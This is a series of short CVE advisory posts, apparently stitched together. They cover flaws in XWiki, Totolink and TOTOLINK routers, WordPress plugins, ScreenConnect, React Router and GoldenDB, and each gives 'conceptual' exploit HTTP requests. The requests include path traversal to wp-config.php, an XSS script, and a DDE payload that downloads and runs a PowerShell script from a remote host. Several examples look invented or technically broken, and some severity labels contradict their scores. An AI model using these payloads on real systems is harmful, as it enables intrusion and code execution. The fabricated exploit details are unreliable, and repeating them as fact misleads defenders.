Author: Ameeba

Overview

The Common Vulnerabilities and Exposures (CVE) system has recently identified a significant vulnerability, CVE-2024-21648, in XWiki Platform. XWiki Platform is a widely used wiki platform that provides runtime services for a variety of applications. This vulnerability specifically pertains to the rollback function within the platform, which has been found to lack proper right protection measures. As a result, users can roll back to a previous version of the page and gain rights they no longer possess, potentially leading to system compromise or data leakage. Given the wide usage of XWiki Platform, this vulnerability could have profound implications if not addressed promptly.

Vulnerability Summary

CVE ID: CVE-2024-21648
Severity: High (8.0 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

XWiki Platform | Versions prior to 14.10.17, 15.5.3, and 15.8-rc-1

How the Exploit Works

The exploit takes advantage of the missing right protection in the rollback function of XWiki Platform. This allows a user to roll back a page to an earlier version, in which they had higher privileges. By doing so, they can regain access rights that had been previously revoked. The attacker could then potentially modify, delete, or disclose sensitive data, leading to system compromise or data leakage.

Conceptual Example Code

The following is a conceptual example of how this vulnerability might be exploited. In this case, the user sends a POST request to the rollback endpoint of a page where they used to have higher privileges.

POST /rollback HTTP/1.1
Host: target.example.com
Content-Type: application/json
Authorization: Bearer [user_token]
{
"page_id": "[page_id]",
"version": "[old_version_number]"
}

In this example, the `page_id` represents the unique identifier of the page the user wants to roll back, and `version` represents the version number the user wants to roll back to. The server then processes the rollback without adequately checking if the user still has the necessary rights for that version, thus allowing privilege escalation.

Mitigation

Users of affected versions of XWiki Platform are advised to upgrade to versions 14.10.17, 15.5.3, or 15.8-rc-1, where the issue has been patched. If an immediate upgrade is not feasible, implementing Web Application Firewall (WAF) or Intrusion Detection System (IDS) rules to block or alert on suspicious rollback requests can serve as a temporary mitigation measure. However, these are not long-term solutions and upgrading to a patched version is strongly recommended.

Overview

In an ever-evolving digital landscape, cybersecurity threats are a constant concern for businesses and individuals alike. One such threat that has recently surfaced is a critical vulnerability found in Totolink’s X2000R_V2 2.0.0-B20230727.10434. This security flaw, identified as CVE-2023-7208, affects the function formTmultiAP of the file /bin/boa and has the potential to lead to a system compromise or data leakage if exploited. This vulnerability is particularly concerning due to the lack of response from the vendor, prompting the need for immediate attention and mitigative measures.

Vulnerability Summary

CVE ID: CVE-2023-7208
Severity: Critical, CVSS score of 8.0
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Totolink X2000R_V2 | 2.0.0-B20230727.10434

How the Exploit Works

The vulnerability lies in the formTmultiAP function of the /bin/boa file. A carefully crafted manipulation can lead to a buffer overflow, allowing potential threat actors to execute arbitrary code or cause a denial of service (DoS) condition. With no reported requirement for user interaction or privileges, this vulnerability is especially dangerous as it can be exploited remotely by unauthenticated attackers.

Conceptual Example Code

While no specific exploit code has been made public, a theoretical exploit could look similar to this:

POST /bin/boa HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
formTmultiAP={ "malicious_payload": "A".repeat(5000) }

In this example, the “A”.repeat(5000) represents a buffer overflow attack, where the attacker sends more data than the buffer can handle, causing it to overflow and potentially allowing the attacker to execute arbitrary code.

Mitigation Guidance

Due to the lack of response from the vendor, immediate mitigation steps are crucial. Users should consider deploying a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These systems can help detect and block attempts to exploit this vulnerability. Users are advised to keep a close watch on any updates from the vendor and apply patches as soon as they become available.

Overview

The CVE-2025-2101 is a severe cybersecurity vulnerability that primarily affects websites built on the Edumall theme for WordPress. It is crucial because it allows cybercriminals to execute arbitrary PHP code on the server, potentially leading to unauthorized access, data breaches, and even system compromise. This vulnerability affects all versions of the theme up to and including 4.2.4.

Vulnerability Summary

CVE ID: CVE-2025-2101
Severity: High (8.1 CVSS Score)
Attack Vector: Local File Inclusion via AJAX action
Privileges Required: None
User Interaction: Not Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Edumall WordPress Theme | Versions up to and including 4.2.4

How the Exploit Works

The vulnerability lies in the ‘template’ parameter of the ‘edumall_lazy_load_template’ AJAX action. An unauthenticated attacker can exploit this vulnerability by including and executing arbitrary PHP files on the server. This means that any PHP code within these files can be executed, effectively bypassing access controls, obtaining sensitive data, or achieving code execution in cases where PHP files can be uploaded and included.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited. In this case, an HTTP POST request is made to a vulnerable endpoint with a malicious payload.

POST /wp-admin/admin-ajax.php?action=edumall_lazy_load_template HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
template=../../../wp-config.php

In this example, the attacker is trying to include the ‘wp-config.php’ file, which contains sensitive information such as database credentials.

Mitigation

The recommended mitigation strategy for this vulnerability is to apply the vendor patch as soon as it is available. If the patch is not yet available or cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These systems can detect and block attempts to exploit this vulnerability, providing an additional layer of security for your website.

Overview

In this blog post, we delve deep into the CVE-2025-2105 vulnerability, a critical flaw discovered in the Jupiter X Core plugin for WordPress. This plugin is widely used by WordPress developers, making the potential impact of this vulnerability significant. The flaw allows for PHP Object Injection via deserialization of untrusted input, giving attackers the potential to execute malicious actions including deletion of arbitrary files, data retrieval, or code execution. This vulnerability underscores the importance of regular security audits and updates in order to protect your WordPress sites from threats.

Vulnerability Summary

CVE ID: CVE-2025-2105
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Contributor-level user
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Jupiter X Core Plugin for WordPress | Up to, and including, 4.8.11

How the Exploit Works

The vulnerability lies in the ‘raven_download_file’ function within the Jupiter X Core plugin for WordPress. The ‘file’ parameter of this function is vulnerable to PHP Object Injection through a PHAR file. This allows an attacker to inject a PHP Object into the system.
However, for this vulnerability to have any impact, a PHP Object Oriented Programming (POP) chain needs to be present. This can be introduced via an additional plugin or theme that’s installed on the site. If a POP chain is present, an attacker can perform actions like deleting arbitrary files, retrieving sensitive data, or executing code, depending on the nature of the POP chain.
In simpler terms, an attacker could potentially manipulate an existing form on the site, if one is present, and if the ability to upload files is also present. If these conditions aren’t met, a Contributor-level user or above could create the necessary form to exploit this vulnerability.

Conceptual Example Code

The below conceptual example demonstrates how an attacker might exploit this vulnerability:

POST /wp-admin/admin-ajax.php?action=raven_download_file HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "file": "phar://uploads/malicious_file.phar" }

In this example, an attacker uploads a malicious PHAR file and then makes a POST request to the ‘raven_download_file’ function, passing the path of the uploaded PHAR file as a ‘file’ parameter. This leads to the deserialization of the malicious PHP Object, which could potentially lead to system compromise or data leakage if a POP chain is present.
As a mitigation measure, it is recommended to apply the vendor patch or use Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary solution. Regular audits and updates are key to safeguarding your WordPress site from such vulnerabilities.

Overview

The cybersecurity landscape is ever-evolving with new vulnerabilities surfacing frequently. One such vulnerability is the CVE-2025-3935, which affects ScreenConnect versions 25.2.3 and earlier. This vulnerability arises from an issue with ViewState, a feature used by ASP.NET Web Forms to preserve state information. If exploited, this vulnerability could lead to potential system compromise or data leakage, underlining its significance in terms of cybersecurity.

Vulnerability Summary

CVE ID: CVE-2025-3935
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: High (System level access)
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

ScreenConnect | 25.2.3 and earlier versions

How the Exploit Works

The exploit works by taking advantage of ViewState, a feature in ASP.NET Web Forms. ViewState preserves page and control states, encoding data using Base64 and protecting it with machine keys. If an attacker gains access to these machine keys, they could create a malicious ViewState and send it to the website. This potentially leads to remote code execution on the server, hence compromising the system or leading to data leakage.

Conceptual Example Code

A conceptual example of how this vulnerability might be exploited could be an HTTP request like the one below, where the attacker injects a malicious ViewState:

POST /target/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
__VIEWSTATE=<malicious ViewState here>

Note that this is purely conceptual and would require the attacker to have already obtained the necessary machine keys to create a malicious ViewState.

Mitigation

The vendor has released a patch (ScreenConnect 2025.4) that disables ViewState, thus remedying the vulnerability. Users are urged to apply this patch as soon as possible. In the interim, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used for temporary mitigation. Security teams should also ensure that system level access is strictly controlled and monitored to prevent unauthorized access.

Overview

This blog post aims to shed light on a critical vulnerability, CVE-2024-11917, which affects the JobSearch WP Job Board plugin for WordPress. This plugin is widely used for managing job listings on WordPress websites, and hence, such vulnerabilities could potentially impact a significant number of users. The vulnerability allows unauthenticated attackers to bypass the usual authentication process, enabling them to log in as a connected Xing or Google user. This could lead to unauthorized system access, potential data leaks, and other malicious activities.

Vulnerability Summary

CVE ID: CVE-2024-11917
Severity: High (Score 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

JobSearch WP Job Board Plugin | Up to 2.8.8

How the Exploit Works

The vulnerability lies in the ‘jobsearch_xing_response_data_callback’, ‘set_access_tokes’, and ‘google_callback’ functions of the plugin. Due to an improper configuration, it is possible for unauthenticated attackers to bypass the regular authentication process. They can log in as the first connected Xing user, or any connected Xing user if the Xing id is known. Also, if the Google user has been logged in for thirty days without logging out, the attackers can log in as the first connected Google user.

Conceptual Example Code

In a hypothetical scenario, an attacker might exploit this vulnerability by sending a specially crafted HTTP request like the one below:

POST /wp-login.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
username=first_connected_xing_user&password=&rememberme=forever&wp-submit=Log+In

In the above example, `first_connected_xing_user` is the username of the first connected Xing user. Since the plugin doesn’t properly validate the credentials, it allows the attacker to log in without any password.

Mitigation Guidance

To mitigate this vulnerability, users are advised to apply the vendor patch as soon as possible. The vulnerability was partially patched in version 2.8.4. As a temporary measure, users can also use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block suspicious activities. However, these measures can only provide temporary relief and may not entirely prevent potential exploits. Hence, applying the vendor patch is the most recommended solution.

Overview

React Router, a widely used router for the popular JavaScript library, React, has a critical vulnerability in versions on the 7.0 branch prior to version 7.5.2. This vulnerability, identified as CVE-2025-43865, allows potential bad actors to modify pre-rendered data, enabling them to spoof the contents entirely and manipulate the values of the data object passed to the HTML. This exposes systems and applications to potential compromise and data leakage, impacting any organization or individual utilizing affected versions of React Router.
Vulnerabilities like this matter because they can lead to unauthorized access, manipulation, and potential theft of sensitive data. Given the widespread use of React and the React Router plugin, this vulnerability could have far-reaching implications if left unpatched.

Vulnerability Summary

CVE ID: CVE-2025-43865
Severity: High (CVSS: 8.2)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

React Router | 7.0.0 – 7.5.1

How the Exploit Works

The vulnerability resides in the way React Router handles pre-rendered data. By adding a specific header to the request, an attacker can modify pre-rendered data and completely spoof its contents. This allows the attacker to modify all the values ​​of the data object passed to the HTML, potentially changing what is rendered in the user’s browser or even injecting malicious scripts.

Conceptual Example Code

Below is a simplified conceptual example of how this vulnerability might be exploited using a malicious HTTP request:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
Spoof-Header: 'True'
{ "malicious_payload": "<script>alert('This could be a malicious script')</script>" }

In this example, the ‘Spoof-Header’ added to the request could trigger the vulnerability, and the ‘malicious_payload’ could be any script or code the attacker wishes to run on the user’s browser.

Mitigation

React Router has released a patch in version 7.5.2 that fixes this vulnerability. All users are strongly advised to update to this version or later as soon as possible. If immediate patching is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, these are not long-term solutions and updating to a patched version is crucial for security.

Overview

The world of cybersecurity is constantly evolving, with new vulnerabilities being discovered regularly. One such recent discovery is the CVE-2025-46579 vulnerability. This critical vulnerability primarily affects the GoldenDB database product and exposes systems to potential compromise and data leakage.
The danger of this vulnerability lies in the fact that it allows attackers to inject Dynamic Data Exchange (DDE) expressions via the interface. When users download and open affected files, these DDE commands can be executed, potentially leading to severe consequences. Given the severity of this issue, it warrants immediate attention and action from security teams and system administrators.

Vulnerability Summary

CVE ID: CVE-2025-46579
Severity: High (8.4 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

GoldenDB | All versions prior to the patch

How the Exploit Works

The vulnerability resides in the way GoldenDB handles DDE expressions. Attackers can exploit this flaw by inserting malicious DDE expressions through the interface. When a user downloads and opens an affected file, the DDE commands are executed. The execution of these commands can lead to unauthorized system access, data manipulation, or even system compromise.

Conceptual Example Code

A conceptual example of how the vulnerability might be exploited is shown below:

POST /GoldenDB/InjectionPoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "DDE_expression": "=CMD|'/C Powershell IEX(wget target.example.com/malware.ps1)'!A0" }

In this example, the DDE expression is a CMD command that invokes Powershell to download and execute a malicious script from a remote server. This is a simple illustration and real-world exploits may be more complex.

Mitigation

The most effective mitigation for CVE-2025-46579 is to apply the patch provided by the vendor. This will prevent the execution of DDE commands through the GoldenDB interface. If the patch cannot be applied immediately, a temporary mitigation can be achieved through the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS). These systems can monitor and block suspicious traffic, providing a level of protection until the patch is applied.

Overview

The world of cybersecurity is in a constant state of flux, with new vulnerabilities discovered and old vulnerabilities patched on a regular basis. One such recently discovered vulnerability, CVE-2025-3993, poses a significant threat to users of the TOTOLINK N150RT 3.4.0-B20190525. This vulnerability is classified as critical and could potentially lead to system compromise or data leakage if exploited. The issue affects unknown processing of the file /boafrm/formWsc, and the manipulation of the argument submit-url leads to buffer overflow. Given the severity of this vulnerability, it is essential that affected users take immediate action to mitigate its risks.

Vulnerability Summary

CVE ID: CVE-2025-3993
Severity: Critical, CVSS Score 8.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

TOTOLINK N150RT | 3.4.0-B20190525

How the Exploit Works

The vulnerability exists due to a buffer overflow issue in the processing of the /boafrm/formWsc file. It is triggered when an oversized, specially crafted ‘submit-url’ argument is supplied, which the software fails to handle correctly. This can lead to memory corruption, causing erratic program behavior, crashes, or potentially, code execution. The attack can be initiated remotely and does not require any user interaction.

Conceptual Example Code

Here is a conceptual example of how the exploit might be used. Please note that this is a simplified version, meant for illustrative purposes.

POST /boafrm/formWsc HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
submit-url=[malicious_payload]

In the above example, the ‘malicious_payload’ is a string that exceeds the expected length, which causes the buffer overflow.

Mitigation Guidance

Users affected by this vulnerability are strongly advised to apply the vendor patch as soon as possible. As a temporary mitigation measure, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to monitor and block any suspicious requests targeting the vulnerable endpoint.
It’s important to note that while using a WAF/IDS can help to protect against known attack patterns, it is not a permanent solution and cannot guarantee full protection against potential exploits. As such, the application of vendor patches should not be delayed.

Overview

A critical vulnerability, CVE-2025-3992, has been identified in TOTOLINK N150RT 3.4.0-B20190525. This vulnerability allows remote attackers to initiate a buffer overflow attack, potentially leading to a system compromise or data leakage. As the exploit has been publicly disclosed, unpatched systems are at high risk. This post aims to provide a detailed understanding of this vulnerability, its potential impact, and the necessary mitigation steps to prevent exploits.

Vulnerability Summary

CVE ID: CVE-2025-3992
Severity: Critical (CVSS 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

TOTOLINK N150RT | 3.4.0-B20190525

How the Exploit Works

The vulnerability lies in the unknown code of the file /boafrm/formWlwds in TOTOLINK N150RT. The flaw arises from the improper handling of the argument ‘submit-url. An attacker can manipulate this argument to cause a buffer overflow. A buffer overflow occurs when more data is put into a buffer than it can handle, causing an overflow of data into adjacent memory spaces. This is a dangerous scenario as it can lead to arbitrary code execution, allowing an attacker to take control of the system or leak sensitive data.

Conceptual Example Code

A conceptual example of exploiting this vulnerability might look like the following HTTP request. This request manipulates the ‘submit-url’ argument with a malicious payload that triggers the buffer overflow:

POST /boafrm/formWlwds HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
submit-url=...[malicious_payload]...

The ‘malicious_payload’ here would be designed to overflow the buffer and execute arbitrary code or exfiltrate data.

Mitigation Guidance

To remediate this vulnerability, the recommended course of action is to apply a vendor patch. This will fix the flaw in the affected software and prevent any future exploits. In case a patch is not immediately available or cannot be applied promptly, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These measures can monitor and block suspicious activities, thus providing some level of protection against the exploit.